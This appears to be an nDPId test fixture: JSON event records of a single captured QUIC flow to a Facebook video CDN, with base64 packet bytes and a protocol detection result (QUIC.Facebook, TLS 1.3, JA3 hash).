+02107{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":681233,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAsAUu6Rht1gBpyIBNgRPyqszffVBngHkJIHX6lj9Ks\/Zezp\/nFuKvrOsAwAADWO4PMBuwTY\/EXK+s6wDgg1+NsuZhAnFwAARL4kVSVotvSiGmEI+vf+6CaV5hF7i\/CNKP0SXP7gxh\/sxeTenPB321XyE03WMCMX5b0eBa3DvRz2ddP3nWt6RdJ6WlZ9RTUGfAgTt+boE098trxFEsZIDO4\/DGShxxtoHXyvbFJFZJY0NVf+5UIwrXhHYlSki1K9uuFNSNm\/ALl0YIaUgr\/hopr4M+GsiGyiXAxXGDCmRgFFJroypQa7DZkA\/BSQvOBo1rqXUCQO+Y2WWIxccuRC5scGp+LAauwOKvDUuqswyG3OiHxvk+4qy\/tgRCHGZHD5raZzP7vxY5Zs6GXSOIKOFNW9+pK0jmGVAbreKgkrE9sNhCR5J7EDI\/UBo5nIVV7hZ+6dUskPxqT226TZBRzj0d\/LhQMJiWr\/Qtbyf20wKLkGnJvpCUZRODDUv\/HGzAiYKec9iLyl0xI4dsRlBPj3\/qk96+vHWCFBI5LJgkJSDIg2Oo0As+19Rmue72aosPjR8lHRyP7b2qSVRFvzkCL3hktDhhGNO2\/8vk6Dat1dxesYiMWkhhopkoH3vOXEevmQ1BrZpcIa7nhP0ob5JIk\/hYvfODfiXG2nnd65+lyb3xKLOkY1QOG2eHx4XtxJxV95ybltVj+AOro0Qb33f0uOBVhhxvPUxRnp1BveoGGqIq\/gfX6EzojL9Sr70hu0h97z51g5q\/G2yqDMTtMccVw+1tkM704jcVZPtS1KIRHzNry1Wih4L55uLybOgft8GHReUqVXO1rtmuTmjHvXxkkq+hW3ZO6Zpt9Zifkk1BLxuaoYoAdg22ALnpTN7VcYCixWlGY122eH2AkgeHYXtrQFh65CCR9dukVHEdRzSFLcF70tHYbZmR+Hm+VVpk48niHEmJvv4wz9TBdQco4TCXjTYLJ6WcVyXCnuHUIWmzQviL8DqcqYSvAxXtEwy\/ABThsNXM6AftQYLRXbcYkYcHWoidGESnafRJGVZwQz25kCkv7ZqgFWYx1xBNnbz9WMnFbBke3DlYRgpZd0ntBDhPehb1WGgxtlkSGO7bjYqCQFYUxhzr1MjEh8JkUM3KCwxgTJlwEoiFSZNBGWOnQnoaXqibsTGdkQ5xDUg\/xJIomN6D9X+YN7QfJRKDelG4gB\/R7MztnSA22E0XjX\/\/YRNN+qvPmrVWdwLFx5rwOTZ2Bwq1XJX0Y4X9FYc8xlkhOJreo9JcUXHssUuTUo6BWARFU9bhlwavKy3u7J0kMozdjG\/WbocG2iKuKdvYnwlwF4XA49pUvEDnV0LhAGSigDeY9WEVq5NPU8kaL0aKpcV9sZJjCTDkCQvVnASsCd3+zuMIFTH\/wm3IfeUdpSYh69FBYn0JPZJnE\/f2WC+G83QQZNTxoXLd9yFjxvmJQ7W1L4zZf2d490E4pdqLfAEFuTNKFuLGgQ+LZN4YH\/5qowNrJyvVezIyiysoAoiKoYlx0R5mslIlSfPbwSJbTB1uxs3rqeOf8ivbtSiOzeCzsWNJXJslzqZupoGqw7\/SmaFxzLXGXzdi02UgxbJUV3MNetwoWntiOQ\/Z\/49uutTCmO52WyUtp6uT2QPgpYOad0YVkiJmMQURNTDa6EXQiGewAMntXsHYGBjMrsKmJQ9FFiiK9Zn62NIBtpITbvAg=="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1600365863681,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2aac:cdf7:d506:7807:9092:75f:a963:f4ab","dst_ip":"3f65:ece9:fe71:6e2a:face:b00c::358e","src_port":57587,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Facebook","breed":"Fun","category":"SocialNetwork"},"quic": {"client_requested_server_name":"video.fmct2-3.fna.fbcdn.net","version":"TLSv1.3","alpn":"h3-fb-05","ja3":"61d8a93ff379660087082a82411f19a2","tls_supported_versions":"TLSv1.3,TLSv1.3 (draft)"}} +02096{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":701938,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAoAaIxPht1gAAAABNgROz9l7On+cW4q+s6wDAAANY4qrM331QZ4B5CSB1+pY\/SrAbvg8wTYmwjO+s6wDgAIQAXJhFchLk8ARL4QIqQn9j8g7J8Bh4qCkeFtB5\/0FGTn+dKSN5WCFIbqlv7bVzxI20ou9DR4wZtJJ1tiJ+xKr0U8bw68OiZZpHUxdfAbQt5z9nLh6LwQjhupiCyRyGRG4tZtrrKw42zS4Ryis2IGVu85jtVJ5nO+V0iHkiCiLoE8hCZ0cGFWISDSv1dY3S14L6Uo3v29iGRvafufSczvMFlG6pV1Odn60vjKDyGOsjNfQ9JF1v3zXLwm1apIxIVcfBTY7dYxW+7A\/6rJf9YKYeoWeijbkQb34JP1dRaHcbT0etmi0uxefz\/YpbkDoFCI2oRZYlTE23H22X2\/8qTclFOyvh9\/vrwFZRygQGeuEH0eSUfPKF67ybi2A9VLUgtZeELBeNOyIaY60evevqb5J2vN5l8HhG0zOtje8P2BEWzkJo0Csm59hN04WUIa5ATdibyB79oIitMR\/RT8b5BC7j9v8ipjp7vZOZEdpCwIDJgn2+33CJSdL94AfQkLgk+uiUPVfgG6UfHrZnytLApyrmygXaAukdakyxq8klTjQRRDyfNa3VwsyyGBmq5gY8nskXcJNY50BpTnu2okLH4hDlVPoMhoCfYEzT7EHkcCPMiRCP1enF\/yeF8dCloVpkR+7DVld9MS6A1Lm8Vh1cgyHuQtCdgJL16zetK\/eyN+QHBXERWmIl3nQXc4BBMK5ejTHXiedJd7krVe8qEtgPgfs9wmex+wAK7s5a4apAlIsdt8wz8irGiTLVD13enE0LCSiK+iT4XC+unYkKdA\/Y+wC15ozprq5ssSs4BUO4\/LwAxujOwLjXa68Kc\/HILSJzhfUsfYNAz8ZOR1P4+bGu9drz2VDwRHLiESKyby173GizQy9QPlUMhgv8zZQ9s8\/V4XeqMJ2FBmnAhANLW8ozDP3m1tk1Eysb4\/m\/zhRgvMN6Md\/gGHDzGnf86ee9efaPJdzEGlKuMWsJB9rG8dFeoooOlhDVE0RcRoPulOkfUBVPkd5y1hJVChJAS8upfL7rieCvjioLCngyXZRWw5EtbWEua8f58+BR4BcVUt44qeVBM19jSN8fMZZCruGfLvFJ8LXrWCMFf8QO9ppSf6AUMeDx2xJm\/vFPFkKj8USDUUV3A4BGBehJmSMJTIQdNx+L65jyOdOELItpQ53YcWuejF0bJ6ksEA2i+ns6L\/A4TyViXUhBAVmjDLSCellA9lXrJ4FKFi2ddTtc7XO4WCnc0rXB48fPr0idZPP5kV7JjzsYEnZ8xNPrb2\/crCya5nVZMRH13HQUZZTbK+kcSm91aipEqc2RxTK15a3fE2lVuvJTMS7pY+WzcwkPFNhssmcyRE4TsroEk6noloCsxsQjvyZSEcSwSKx4KJegr4NeCh6RxPXe153PB1fX43\/bpL23QEtBIoibzoy6LAuxzsnv2SoFcWb+0UW2hrfng6tjiLOL78QaL2I0pt8Q8p5cHXe8AZixhNLMuBlkVaMkSQfTYE7a0q89JM+YV0fG49Y5VAbDOBtfzmYnlO9p9ri9AifV7FZEwCvdDlnQ+KvbXRJdIOtcMSTz6mCvUiZ2cGGkiUCLImG1NMuhrftxnzx3oMcBYdm8CBM4CS3ZhaADSEfSg2j+9P8DImBKXKQw=="} +02102{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":701971,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAoAaIxPht1gAAAABNgROz9l7On+cW4q+s6wDAAANY4qrM331QZ4B5CSB1+pY\/SrAbvg8wTYHDzk+s6wDgAIQAXJhFchLk9Ev6msTcUGYFaKjK1nnOGqPfgGmbd2yH7YezNJksz4ObKOyK4ooRfPYXnIwINVzU9kFmpDrySNcGo7oy085NMAXtrRBQxP\/BNGfiNh2k7HVEmtnbBrN9B4q0PdqBJlnR3nfvlqn4KMbB+v3pyflyp0t2eXjVN9BCvAEWt1323hMhRhYp7IjuM\/7LS+4JZqwAit2H9\/as8+O1Z3qJKcua5iRqQUGQX4hx+lXxOP6XwWXKQ9UBS95a7rhiJrqp9UhK13hVq2njbzA2RTKn+s6aobHuCe7WYl8MS0v+T1I2mq6xhFweTuG3hdPnqOkRm4ZoVgOJD0lCKOsJoqR\/flxx3xDBRfRXA8iUDaNTTEDU\/z02HAUlthQ7j4NctXjWeuXBBlOg7myIMc\/qdP9kFsh+WR6c3MixjpAvWeqwTgRfaK9+1rOtle4mwbhL9JoI7ra+3Gv2NscrKYby4y26dOybmnMTxwtUycCSAskoGy0VBL8N4JHmZ24PfumlXDiIGg2TKa89dG5C\/HkH2BkzPa1N4KDB4DWk6vrxpVEaDtN+T4HBAwv5vr27n4ZsI+e+KkpDTUVeRt50at0s6GoBT3dU0bS5u7btTCPh9Q1wT2QzGXBx7LpZUB7WKGCAuzDm\/R\/0DsgE98U+jp\/GQA0cAouUv\/ia5B4dArOX2Hrh68\/LWZUcgSOk4Mb6isI1HW4FG8qqFdvzMsYyg1nY6\/mwkjTgfzcUcT8HuT8b3VEAFl1iojo++o6URU0CqxVGRv\/\/1U12juUa9BOlngQwkpzTFGYZpnjBvHYYqGgaZguBUx+OsJazqFqHN19AyL0Cexa75QT9qZtk9tlxGc5gUfqCX+xv3PoF1DxwRReTjQ6GUHNrQvfC+a6lJLkY2Bl3ty6kTSniC0uwNMTlaRzlXCmLXOF\/spgpAb4J+XbuA0NFIBJPbBj0R9yb2qZMfcDSVc01ubKMDR7P8+q\/ujxavqxlOlRZ7sWwAht5G68KiSsHb\/3\/\/02Hn9LDN5RMC7i0XnG5j+4mV0HA\/xhs5p4cwjOIcpOhsDt89zfffoiq59dKLm9k8JMdheqZnJmgMgBN6WVdrtRW3QVuAWi5RMKLwkPwNbBlRiZ7vzcC0isWQeIhVQokyi3N3zirO2CgYfmItTVGQ2zRdOvhKQCqtBpADZshhP71+ve\/mG\/ZuBnSTjROHtGsF0IToyFyclFG850LYNt2AK7xXn6KoFoVxoXz2L1VgOHjSwdoUQ19OP2FjGJxXDbRibAbzK8ZTPhWbes9V2wQus09AwDRo1tAPoOt8iAFo0luKi1hunaWIbYQU7ulHqooKgCNKaw7Wpw5p7aBaAi2l+FM0QE0XvSek9UgM9xUI8mGJp9C08XT9sbpCwgHL3HCxNUV5PMTiLkvNmY4VY0RA6MyaCk5fo74e5RCmQDSSqS96ehyCpgP+n+wZ6UBRKek9YDjVH4RHvmZCvYco7SKBDJbbMddFHN3+HFbSO2rxv8iuy6DZaiePYnuW\/mxUn+OUffPWu97Jt4A0bz8W3eamvrlSSbu6c70YR1qFE42450VRE4NhhFL8v\/i0jKrz069uRv1GcqnqW1Vv22X49oie0v9YMThrSkmy8c0tELsKMRwtXMA=="} +02098{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":701971,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAoAaIxPht1gAAAABNgROz9l7On+cW4q+s6wDAAANY4qrM331QZ4B5CSB1+pY\/SrAbvg8wTY3BDg+s6wDgAIQAXJhFchLk9Evyyob5bYFNRx94bIG8Pq3hC5er0qmaO\/vmymM8o\/cApqIrJy2g30SejxFFp4qLrHRBshhLdfXAgbewyxghqNYdqo4k4fpzcK0xKawv3CgvxOHcjXBqnCGSVcOt5upMpAgkw54ZxaWqJXqyhFuwUnmywtzo46yC6KvzQQc9tfL1B9K3oU+MT0vl22vWb+0Lf+ZPccL0Zt1Vo7c7S+L6sEFDGA+z74v400bOtFD5pPoySzO82f2RI+aD0cO71iR8QdY1NDbmd4X7Moe\/yOsMq005\/rpHUk2+xJ2FPzq8yHfLobQcqchii0EMfDk1rPsS89JSeCNY+vs0QJr7nQooTrHMjcFcBWoVkNz4ZMShcT+41geU9drLAJFokpeyDmOzN01RApZm2IhjjYCjQouWgT\/RoPALA70snIVGTxUaI8effEdV\/esvRgO0wPS3ufzmveSbRNR1KcV3V6t4SuvG2+qOGFSPTdVrzd7HwpgVkYmpC9kmjvG8DKo22x7ZojgSkioA0bYQ3x\/KLQBexVHIB4Fzaf4jo+Lvjudx7sa5tts2dktvsRG3D+O4zxLAMtTsnECcINoJkxhsYW9jjkGEoUHGbtEErWBfZfnh8zXYheEpRjjsN2JBNbpwEir2p3EFFNuMzs+J+nsSyty4dS\/NSH4115DAW4aZcQSwLfK4aN+vZKGwIXYj1E4VOhcmeni9823p5qJQhVsRpFzsv3nflFBO\/2jt2Ejyv0rmMMyF5E9UNOP58UMq+sLQ+NnFaJNiaL7FPFtdEziXyVmwzDrEseD3Xtqj5WXao2ssrb9ELRX3v2h0LqYPqr38ho12KiIjeOF89DmimQh\/R84lVnYxOM45NO1EI2fjHnuvSSpL++OZVJ3Pdv3A6wgrpI+DlboZ3MxMau3oF11F74N2YkE4kQ+yG51LL46zd8RHea7sUx7RrEcm2QsOvwgrrU\/Z3y\/quTgZ9MyMsxzAE5Z2ywzGQJ+tVm99R+d0LrBTiXATdH0bTOf+ppS6xyk\/7sY9nVoFyAXPE7MDiKYXlY2h1SMzUHpL8AmcR3wAnQ1a2QDFvWLtLKW\/btEjTf2b7ByngLAfA8CkwmSsL24kpXymT\/ZhRFFnqnXNK9CXSLgl53RVBDcmmqQgxqUnZfIldLBt46O0LHX2Q+Q92YDI4WDBqGsgXXpY\/4py77CpzvWsdICv+Cv6g0K52IxIthchxDT18F1aoGuaKPfIYvjZakAYa1kpKN8XUWEQ7w+enUpmmYfpZ0xOh9vG6o0hjQVu8X2GXtJb4GVQQKUT63WyKMfspY++Flxrxr5vkDm1GmVTyDQiHqlpI270U5lH9CYOYQz2cKc5fxJWES2\/\/WZtNqYINm4e4GZUsTXenMiwdd918MZCq4CFYETnbAUx0P0X1v+Rxh6KAau2EE4GKnCJgPdrvzKpOHtaC0U8wdRmYn9lK0BTXw3++M2TAKJ7kPt1R4W4mdVG9PQQGlwVWPyWPj5pWt2DnNBHNUXj0FX3zRrt\/7+DrzSqWNFKrYcEaRLurEvc9I9wibxxwcGNF\/IAT\/PHR810uEvT7csMZR4O5za7JiCcKZYtoTcWmUJTM+hP1+5SQaIyACBf1xadt+PZzeKqrxvwpLFA=="} +01183{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":701971,"pkt_caplen":613,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":613,"pkt_l4_len":559,"pkt":"AAAAAAAAAAoAaIxPht1gAAAAAi8ROz9l7On+cW4q+s6wDAAANY4qrM331QZ4B5CSB1+pY\/SrAbvg8wIvdFPn+s6wDgAIQAXJhFchLk9CFmcM73CUh95lmczPmpzf5ZNI8IeO1WAp+GYM7Ki28TOD3rDqZeVpJ4eVbE3sXqFxAv48SfZC4RA1WIY6\/RvKVhj17YMRO1B\/ABoaHyk5UDr7StQpOuCHwbL8GyJkK8V\/AfNgFOoeaf0RiSxe3Z189tM2PUGiQ6SWWFDQ\/HsxYbe0cn6JAXiZk5EN1Wm6zkCb+qzQabFz5TgK\/Qo7I\/hLmPt4Cnsy7Zv4BmmkYC8j5YaLcbyLo0WZBB6VGUUcEFHgI+MccFtfD7y\/Soyos3ZZf4ARZE32lJQwHciqD1QkvR6oVrSAqPEM9SngERqYruFpkL\/ha7bCEe3C68LXjWs2M0uOGQc8CM6fQ+pVCklz0cpuyl4QBvIZREZAHMzJrTfW1oGcQ\/tTjPoG4CffvnsGgn0uH3PabZriRqEQ9hOWyC11Ea8bdNWvNOuuSjB13uS2KuLfV5xAJx2sMMZRF35OBURgpm1oSsp6lG3J5oIWyJEk\/NN9pTMisKM1Lb+h132vTa4Zt9oBWjd\/a2\/995t8CfXGS+9lrd20XD75zGzc6S9RXwKzEP\/M1lvotW7ueHDsV4tqmu+8XxnGd4cCaTSnMpiogUMUXsYzcPFojS+oAI7YLxyoSj9ftVhfwyRA1t4Na6tBzC24NM9W\/hbT7AZlW0YX5gE+8LXmfFB9Gktd\/l2tIPsJspF\/u+DabDf\/9et1Fgqr0dP0uw=="} +00502{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":701971,"pkt_caplen":115,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":115,"pkt_l4_len":61,"pkt":"AAAAAAAAAAoAaIxPht1gAAAAAD0ROz9l7On+cW4q+s6wDAAANY4qrM331QZ4B5CSB1+pY\/SrAbvg8wA941lZ2OYOh4pLcvU+y\/vzMPNhj+Pqrnv7xyNAmkKQwdQ+mvjackAQuYz1mRZqRzkN8LZUHxNaqw=="} +02102{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":736455,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAsAUu6Rht1gBpyIBNgRPyqszffVBngHkJIHX6lj9Ks\/Zezp\/nFuKvrOsAwAADWO4PMBuwTYI5DD+s6wDghABcmEVyEuTwAARL5UY9mRL5CsoV7r4xx0GtGjoC+4UpdQNoIpyJe2Wi7OzhhzM2cDpuMY72J1cea2PKRBRBYZVssd3oXQBSl1b9CjPX1Y76fECROVF0gCAp\/srSw0FPSt16lZtrO5MxvU\/4LxWKZ83L17OiL4izseKWxSk\/Jb875DioTXqNGknwoV2goCZ3wBVJBavlcKf4EapGDequ1VXjxmu4wEgCvdXc3muTjQ7KvPPY\/BXXLDrgxpZHBQXrAcVpR2M817J2HVCeRqub4R\/NMf4WkaA60qtE1q9+Uf03RbFGBR5XhQBlyshEke7kL55gED1mtDAKtzxo6ZoyebLSdVtrRfH8IEAdDsJjuykdGXTAX+lrMKbxrorfH6oCAstg4uLENgdMA1n9MmSGkeEWUEIz4wdNM\/MrUBpRSjR1C+Qli3K2W+QNoc569wC2KhB7s16H6zZqnA\/owi4CpVGqh\/p+YCXqFuU\/2ZV7Aq6rmjzSs2qcmkK5rVAZZ9PbkfTa6TXgmn5Lg1OBYXYjhbpwYSfxxxU9qrgX5+t1EWh7T2gXzt17ClOgbWNvMzxtaNNJLkLkk4lD7meck8G6YJG9HPSaK19p8A5oT42Ex3eFp5bne6SdzKjFxU2Cao+YSzf7cJJrGa+H5b9X5ZuvkqHb6YvqO2ofXz1huhYInsggXZFTwBTN7wXLN7DMNBGvDUnBLJAuqP++HQXxxme4GqHEMbrJkJTjMVfS8SNOh5VxRJKLxXHfrPDhy+wxsTWxl9XlGJQOyZLOkkzTr63ZlgNjJhyu9NDJKntjrGzCdpecLP\/nvKTkVWB7fG4mMvwv7bwMdZVnvPk74AZizmZGTGp19ez0V5N\/eIhcuVZokdUFVYPVVXpMJ0X+I\/PPvY5fpCFptDl\/0aaoiPngRRsPfYA4uaLglrQLahCk8wgo8K7t3xADE4d8TB0QqO62m\/00ulhxlbP9AfT7\/KoP+xuE8awmSHaZQrtOY\/6hGNy44n61wVlFfVfiW7L1ELDjHgbL0gTwvl4IOLdsXcjm9KL+gg63HjKVEQR\/Qr9JfnvMxWXrNDPjmTatlzEVEh3SKuCJX19lab4RjdLsfRRqC3ObKc+ZY9CU7cwdp4nj5sX\/WjjHNiOU34jCenMsJcuVdyQ6qnQk5XMy84hALHwPUeJi9mI9XvBZWW9V5GisCvexcVax9jP8H2aaCErJ\/Ii2t\/K01nP5jnCNDoQMmKjEPiraDS7YsZjFEyydZ7VfpDXVPtR5qQPND8pZ\/TwVf2n89xXmadm\/XPrmsmjAgy9Hc6jEfPZHCHLE5tqm7mMFCzU3sA36EhwDXhMwQFpT30QpQoOeK1QMdbqrUM38I0LQ2Brkv8SqzPoH82aBKUcb6f5FltIXqjQvRnWCJ8y4KApv05nwNcoKtsWKK8pE5xdFq9hmsywA7\/OrVMaL3rvrIRx2Qmv74mf+821C6ioyfmDDuvqb7C+fDTW25j+7GC+qWLYojtC5IRDcNNP2M0pP4Ncdbu48sPZhKczLbBIdZl8anSVoFobIyJaNqbUYUo57nrGGd8Ieq8cWINddXm3KZ+3dR8tv53\/td8OwPxzTOawA3PxzHmubCoFg642QMn5Tdo53oyakzJR+ojvpTfYw=="} +00482{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":737282,"pkt_caplen":100,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":100,"pkt_l4_len":46,"pkt":"AAAAAAAAAAsAUu6Rht1gBpyIAC4RPyqszffVBngHkJIHX6lj9Ks\/Zezp\/nFuKvrOsAwAADWO4PMBuwAuCqnm+s6wDghABcmEVyEuTwAWzx+HksBVoTjuweI22d48FVcKc2tgyg=="} +00484{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":738989,"pkt_caplen":100,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":100,"pkt_l4_len":46,"pkt":"AAAAAAAAAAsAUu6Rht1gBpyIAC4RPyqszffVBngHkJIHX6lj9Ks\/Zezp\/nFuKvrOsAwAADWO4PMBuwAubirv+s6wDghABcmEVyEuTwAWSyHxadPrYjxxhWVG9ooAS\/SP6aE\/ZQ=="} +00539{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":741438,"pkt_caplen":140,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":140,"pkt_l4_len":86,"pkt":"AAAAAAAAAAsAUu6Rht1gBpyIAFYRPyqszffVBngHkJIHX6lj9Ks\/Zezp\/nFuKvrOsAwAADWO4PMBuwBWJGru+s6wDghABcmEVyEuTwA+fugQVorCp25HV6uHC07U14\/d8At1Ix+83AX\/+IjBGVeo93BZGueQni\/eaf9fY0GD59CGpvmM6gGGbHpwLmE="} +01488{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":748711,"pkt_caplen":840,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":840,"pkt_l4_len":786,"pkt":"AAAAAAAAAAsAUu6Rht1gBpyIAxIRPyqszffVBngHkJIHX6lj9Ks\/Zezp\/nFuKvrOsAwAADWO4PMBuwMSNY1EQAXJhFchLk\/hZUisiZ4QswcIhwDDQlHz+vX14QJ7uZSoXOeIY8dhSfB9z5oaLh9qiMieQc4mjnh2c8V5ZjZnj2aLluxo8lGDzzWE+ZNKxGSseI1u1oAo8hgJxs\/1CorM7V4z8MAC\/1BCID6GXGtxd3TOmi2DXRJKrKdCYQV9a7VWHpTTVAzsEZ7L+eaBxcz9vC0V0ol7Ka4dgE95Q\/L2S6ueB\/5SUATTp3MClVW6q1wfnfgNPOOwwK6c3TQrGt9rQnDGmicxTA0iOV11vNhmWpsdxLclDK2121U477ZNqCXQMuDeDVuoAYgl2vmxSoRJbQbx6hLKrAkgWiQNwlnkSN\/g7f27Pex3QhuwnTBuVoBwezdNDMAlLvCgxU8UIGdGcf623NMLqxhLhaBoZ\/AZ8OVLLTvsOsoSc+CypP7S7uL5z6RTcF4icL7+ao2bZdwrzVyfFlwwfCJSzQXy\/h6yusJilat3PKboISIijf1IHKgdHwoKCuoIcFUmZ9EJyhEajx7ar\/TGUmK4h4c2lTS2jd4+B3ZrnucKd9Orx89VUrDyJv3jd8fEUfaTVmLbLIItsiKetG6LqSrZcHJ\/gVOG28J+2kfxwhCdCd3OJJXQZk2k4ujVcM8GaqnX62q7nwMEFSN\/fzO1Y7BCFeaSr8+c9tfoqCkQHau09b4aZuQT+7D\/hJvVDKSKnxENRA8Mhzz6NZ7Z6eTHYKTwBGFqbKfcKP+k3ZnK3BzxH0QPlmY2xZhfDA5kGkzcLFHx+2OMdu80+IbmjAqKoL9VLY9W61xo9Pos8nmk+GJQtC+P\/JAnVsi3R9c2MuPzdz\/cAI+B9HQtg2oKDBlrfpuSqimRvTMrD3d5WzE62vylylPaQXV4v4huLwWtUseJcBfwRxbXLlqunkV24kmrdSHav8HrkFLXW9aEULk\/Br4PBr0THES7OKQDdBh34YAMI8t1P68FknpjdvSjy17mHUGr\/qEtwouFQyd0Ea5+kdVv8G8SzaXM8DZiYvwgpWDkr1Yci6xbZdt\/3\/J17vfxlU\/X"} +00488{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":761598,"pkt_caplen":105,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":105,"pkt_l4_len":51,"pkt":"AAAAAAAAAAoAaIxPht1gAAAAADMROz9l7On+cW4q+s6wDAAANY4qrM331QZ4B5CSB1+pY\/SrAbvg8wAztZrg+s6wDgAIQAXJhFchLk9AGrmQKJkLBQOLrYgFEUIJDDmF\/MWUVtF16rG0"} +00799{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":761598,"pkt_caplen":331,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":331,"pkt_l4_len":277,"pkt":"AAAAAAAAAAoAaIxPht1gAAAAARUROz9l7On+cW4q+s6wDAAANY4qrM331QZ4B5CSB1+pY\/SrAbvg8wEVuTVIscMlcwCs1m1BUJrKtWnOgHqeDT\/l0P5tRe3mjlswsJWk7ZHBihFcDAJ4WBNoI2+1WSXiaGMiJPk6HNHhBMYac7zhUP1ea20\/XBC14rICg3JIceCztDYghuz4mkH6hPCy74wirZ1q+hfFTFWvpnozzlb\/xWXtR3XR8AA1dsX7n\/IBTtRBREWCwQd9xUw+\/2Kq6q9SHXC5f2Q9LmSMloOP8OfRHPG1tM5ATfAMZ6as6sQAxJBHV6Sgw3VpDcZOvVbqLPjejZDyBIUmIYDXBfY4zr4VtffDWsY0pq4CUvECflTPEMh2+G\/GzrTBnEUu+nE2NB5b44N87WjMW2g2fVs6iTn6F\/zmTI4RgaZqOg=="} +00474{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic-mvfst-exp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1600365863,"pkt_ts_usec":761926,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"AAAAAAAAAAsAUu6Rht1gBpyIACgRPyqszffVBngHkJIHX6lj9Ks\/Zezp\/nFuKvrOsAwAADWO4PMBuwAo+r9RQAXJhFchLk8G3cLHlf2GuudTHhv6RGa4bNp9y2px9g=="} 